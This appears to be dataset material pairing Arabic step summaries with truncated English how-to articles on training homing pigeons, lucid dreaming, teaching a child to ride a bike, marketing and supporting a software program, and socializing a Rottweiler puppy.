ابدأ البرنامج التدريبي للحمام حين يبلغ عمر 6 أسابيع. اضمن أن يكون للحمام حافز حتى يعود لمسكنه. ابدأ تدريب الحمام على العودة لمسكنه بعد إطلاقه. زد مسافة التدريب بمقدار 8 كم كل أسبوع. احترس من فقدان الطيور. ابتكر "بيتًا" ثانيًا للحمام.

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At 6 weeks you can help your pigeons figure out the trapdoor in your pigeon loft.  The trapdoor is designed to allow your pigeons to get into the loft anytime they want, but you’ll be able to set the trapdoor to only let them out when you want.   These trapdoors might be a little confusing to your pigeons at first, so you might have to help them go in and out at first.  It may be helpful to put together a training schedule so you have something specific to follow everyday.  Training requires dedication on your part, so knowing what you have to be ready for each day will help keep the training consistent.  The training schedule should allow for training to occur at least once a day, and either the method or distance being worked on should change once a week.  For example:  everyday during week 1 practice going in and out of the trap door with the pigeon; everyday during week 2 practice returning to the loft from 1 mile away; etc. Read pigeon club blogs - specifically ones written from your geographical area.  Local blogs will have advice on your specific geography and climate. Good food, comfortable lodgings and being treated like royalty is what makes your pigeons want to come back.  Provide your pigeons with the highest quality food and lodgings you can afford. This part of the training can begin when your pigeons are between 6 and 8 weeks old.  Start by taking your pigeons 1 mile from home and releasing them.  Do this several times a week. Use a cage or a basket to carry your pigeons to the release location. Each week go further away from home to release your pigeons, and go in different directions each time.  Don’t expand the distance too far, too fast.  If your pigeons have any trouble, stop increasing the distance and continue training them at the last distance they were successful. Some of the longest pigeon races are several hundred miles in a single flight.  This is the maximum distance from home that you should practice with your pigeon, but do not go to these distances until your pigeon is able to...


ابدأ التحكم في أحلامك بطرق بسيطة بمجرد أن تدرك أنك تحلم. اسع لتحقيق مستوى أكبر من التحكم في أحلامك. ذكر نفسك من حين لآخر أنك تحلم. اجعل جسدك يحلق. استحضر شيئًا تحلم به. غيِّر المشهد. سافر عبر الزمن.

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Once you've done a reality check and realize that you really are dreaming, try to stay calm and not get too excited about the fact that you're dreaming. If you do this, then it's likely that you'll wake up. Instead, stay calm and immersed in the world of your dreams, and start to control small things before you build up toward something more elaborate.  You can start carefully trying to change the scenery or just to move through the space of your dream. You can start to touch things, and attempt to make small objects appear or disappear. Once you're comfortably lucid dreaming and feel like you have a fair amount of control over your dreams, you can start to aim a bit higher when you try to control your dreams. You can make yourself fly, summon people, change the scenery completely, trying to return to a place from your childhood or even to travel through time. As you get more and more used to lucid dreaming, you'll be able to have the dreams you want more regularly. When you wake up, remember to record the dream. Mark the point at which you realized you were lucid dreaming, and write down all of the things you were and were not able to do. If there's something you are never able to do when you're lucid dreaming, such as flying, then ask yourself what's holding you back. Once you're dreaming and have recognized that you're in a dream, you should tell yourself that you're dreaming every so often. If you don't do this, then you may forget that you are actually dreaming, and you won't feel as in control of everything that is happening. If you keep reminding yourself that you are dreaming, then you will feel more capable of changing and controlling your dream situation. One thing you can try to do when you're lucid dreaming is to fly. You may not be able to fly at first, but you can build yourself up to get there. You can tell yourself, "Okay, now I'm going to fly," to make yourself get into the mindset of being ready to fly. You can start hopping around, jumping up and down, and moving your body in an upwards...


ابدأ التدريب عندما يكون طفلك مستعدًا جسديًا ونفسيًا. استخدم الدراجة التي تسمح بوضع قدم طفلك على الأرض. أزل البدال من العجلة. استخدم عجلات التدريب "السندات" باعتدال. اختر منطقة تدريب مفتوحة ومستوية وممهدة. استخدم خوذة مناسبة جيدًا ومعدات السلامة الأخرى.

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Some kids have the balance and physical skills to ride a bike by age 4, and most do by age 6. But each child is different, so wait until your kid seems physically agile enough to handle balancing on a bike. Some kids may take a bit longer to be emotionally ready to teeter along on a bike, and that’s okay as well. Don’t rush or force them; encourage them instead, and start training when the time is right. For most kids around age 5, a bike with 14 to 16 in (36 to 41 cm) wheels is ideal. When they straddle the seat, their feet should be flat on the ground with their legs straight. Training on a bike that’s too big or too small will only delay the process. This may sound a bit strange at first, but taking off the pedals lets kids focus first on balancing on the bike during forward movement. They’ll just push off and stop by using their feet on the ground.  You’ll typically just need a wrench to take the pedals off, but follow the instructions that come with your bike. You can also buy “coasting” or “balance” bikes that come without pedals, but this is typically an unnecessary expense. When you add training wheels, kids learn the components that tend to be easier for them first — pedaling, steering, and braking. But this leaves the hard part — balancing — for them to learn all of a sudden right at the end.  If you work on balancing first, the other elements will seem like a piece of cake later on. If you really prefer to use training wheels, however, try not to use them for more than a week or two. Otherwise, the child will learn riding habits that they’ll have to unlearn to ride without training wheels. Sidewalks and streets offer too many distractions and potential dangers to make ideal training grounds. Instead, look for an empty parking lot on flat ground. A level grass field may seem tempting because it will cushion falls, but grass is usually too difficult for smaller kids to get moving in — either by foot or pedal power. The ground is also much bumpier than a typical parking lot. Choose a helmet that is...


ابدأ التسويق للبرنامج. استضف البرنامج عبر موقعك الإلكتروني. عيّن فريقًا لخدمات الدعم. حافظ على عملية التحديث الدائم للبرنامج.

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If you want to get users, you'll want to make sure that they know your program exists. Just like any product, you'll need to do a bit of advertising in order to make people aware. The extent and depth of your marketing campaign will be dictated by your program's function as well as your available budget. Some easy ways to raise awareness of you program include:  Posting about your program on related message boards. Make sure that you follow the posting rules of whichever forum you choose so that your posts don't get marked as spam. Send out press releases to tech sites. Find some tech blogs and sites that fit your program's genre. Send the editors a press release detailing your program and what it does. Include a few screenshots. Make some YouTube videos. If your program is designed to complete a specific task, make some YouTube videos showing your program in action. Structure them as "How-To" videos. Create social media pages. You can create free Facebook and Google+ pages for your program, and can use Twitter for both company and program-specific news. For small programs, you can most likely host the file on your own website. You may want to include a payment system if you are going to be charging for your software. If your program becomes very popular, you may need to host the file on a server that can handle more downloads. Once your program is released in the wild, you will invariably have users with technical problems or who don't understand how the program works. Your website should have thorough documentation available, as well as some sort of support service. This can include a technical support forum, a support email, live help, or any combination of those. What you can provide will be dependent on your available budget. Almost all programs these days are patched and updated long after their initial release. These patches may fix critical or non-critical bugs, update security protocols, improve stability, or even add functionality or redo the aesthetics. Keeping your program updated will help keep...


ابدأ التنشئة الاجتماعية لجروك في سن مبكر. تأكد أن جروك سعيدًا. ألحق جروك بفصول التنشئة الإجتماعية. يجب مراقبة تفاعل الجرو مع الجراء الأخرى.

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Puppies benefit from early interaction with new life situations, other dogs, and humans. From birth until about 3 ½ weeks, your puppy needs to be around other puppies and his mother in order to learn normal dog socialization. From the age of three weeks to twelve weeks your puppy is accepting of new experiences so it's a good time to expose your puppy to as many new (but safe) situations as possible: car rides, the outdoors, other pets and animals, humans of various ages and sizes, etc. If your puppy was taken away from his mother and littermates at birth and raised alone, he may adapt poorly and have a high chance of aggression towards other dogs. Watch your puppy to make sure he's comfortable with socializing. Certain experiences can overwhelm a puppy and make him frightened. If a situation causes a fearful reaction, gradually introduce him to this experience to give him time to adapt to it. Use your judgement and never force your puppy to remain in a situation or near someone that frightens him. Instead, immediately remove and distract him with a toy or treat. Once your puppy is 12 to 18 weeks old, he'll become more cautious in new situations. This is a normal development that helps your puppy learn to be cautious when on his own. One of the best ways for your puppy to interact with others is through puppy socialization class. At class, your puppy will be exposed to other puppies, people, dogs and a variety of sights, sounds, smells, and equipment. It will also give you a chance to learn training and socialization skills while giving you an opportunity to bond with your Rottweiler.  Ask your veterinarian to recommend classes or sign up with community education centers or large pet stores. It's normal to feel overwhelmed by puppy parenthood which will take time, patience, and effort. Things will soon settle into a routine and it may be helpful to talk with others going through the same challenges. Since you never know how your puppy will react to other puppies or dogs, always monitor him in social...